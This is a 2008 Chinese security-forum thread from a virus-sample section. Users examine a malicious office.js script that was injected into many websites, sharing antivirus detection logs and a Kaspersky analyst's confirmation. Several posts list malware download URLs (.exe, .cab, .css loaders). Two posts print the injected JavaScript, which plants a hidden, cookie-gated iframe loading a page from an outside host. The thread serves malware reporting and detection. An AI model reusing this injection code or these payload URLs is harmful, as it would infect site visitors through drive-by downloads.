卡饭论坛 » 病毒样本区 » 很多被挂的都是这个

sky123456 发表于 2008-8-18 00:15

很多被挂的都是这个

[url=http://bobo.otzo.com/office.js]http://bobo.otzo.com/office.js[/url]
这是以前长去的一个坛子发现的
早关闭了
但是还是很喜欢那坛子 就去逛了下 发现了点东西
GOOGLE了下
发现被挂这个的还不少
[:08:]

nosferatu 发表于 2008-8-18 02:29

[attach]337618[/attach]

sky123456 发表于 2008-8-18 04:10

回复 2楼 nosferatu 的帖子

这人真牛
挂马挂到这程度也算无敌了啊

14206937 发表于 2008-8-18 08:30

2008-8-18 8:28 [Guard] Malware found
      Virus or unwanted program 'HEUR/HTML.Malware [heuristic]'
      detected in file 'C:\Documents and Settings\Administrator\Local
      Settings\Temporary Internet Files\Content.IE5\YHOZMNID\office[1].js.
      Action performed: Deny access

sbbdms 发表于 2008-8-18 08:32

Kaspersky miss
TO KL

涛声依旧 发表于 2008-8-18 08:34

很厉害！

granthill 发表于 2008-8-18 09:08

http://user.comgome.cn/bak.css
http://user1.12-27.net/bak.css

啊弥陀佛 发表于 2008-8-18 14:22

微点拦截

sbbdms 发表于 2008-8-19 17:09

Hello.
New malicious software was found in the attached file.
Its detection will be included in the next update. Thank you for your help.
-----------------
Regards, Vladimir Lebedev
Virus Analyst, Kaspersky Lab.

Ph.: +7(095) 797-8700
E-mail: [email]newvirus@kaspersky.com[/email]
[url]http://www.kaspersky.com[/url]   [url]http://www.viruslist.com[/url]


> Attachment: office.rar

awsotr 发表于 2008-8-19 21:27

[url]http://reheie.cn/s.exe[/url]
[url]http://reheie.cn/sina.exe[/url]
[url]http://reheie.cn/baidu.cab[/url]

kevin9718 发表于 2008-8-19 21:32

TIS2008。。貌似没反应啊

qigang 发表于 2008-8-19 22:31

var cookieString = new String(document.cookie);
var cookieHeader = 'ises' ;
var Then = new Date();
Then.setTime(Then.getTime() + 30*60*1000 );
var beginPosition = cookieString.indexOf(cookieHeader);
if (beginPosition == -1)
   {
   document.write('<iframe height="0" frameborder="1" src="[color=Red]http://reheie.cn/page/add_54738542.htm[/color]" width="100" ></iframe>');
   document.cookie = "Cookieak=ises;expires="+ Then.toGMTString() +";path=/";
   }

sky123456 发表于 2008-8-20 18:20

回复 11楼 kevin9718 的帖子

那个网址绝对有问题
你小心自己的机器

掉河小卒 发表于 2008-8-20 19:00

var cookieString = new String(document.cookie);
var cookieHeader = 'ises' ;
var Then = new Date();
Then.setTime(Then.getTime() + 30*60*1000 );
var beginPosition = cookieString.indexOf(cookieHeader);
if (beginPosition == -1)
   {
   document.write('<iframe height="0" frameborder="1" src="http://reheie.cn/page/add_54738542.htm" width="100" ></iframe>');
   document.cookie = "Cookieak=ises;expires="+ Then.toGMTString() +";path=/";
   }

巴山冷箭 发表于 2008-8-21 22:41

我装了个小a没反应啊？？

查看完整版本: 很多被挂的都是这个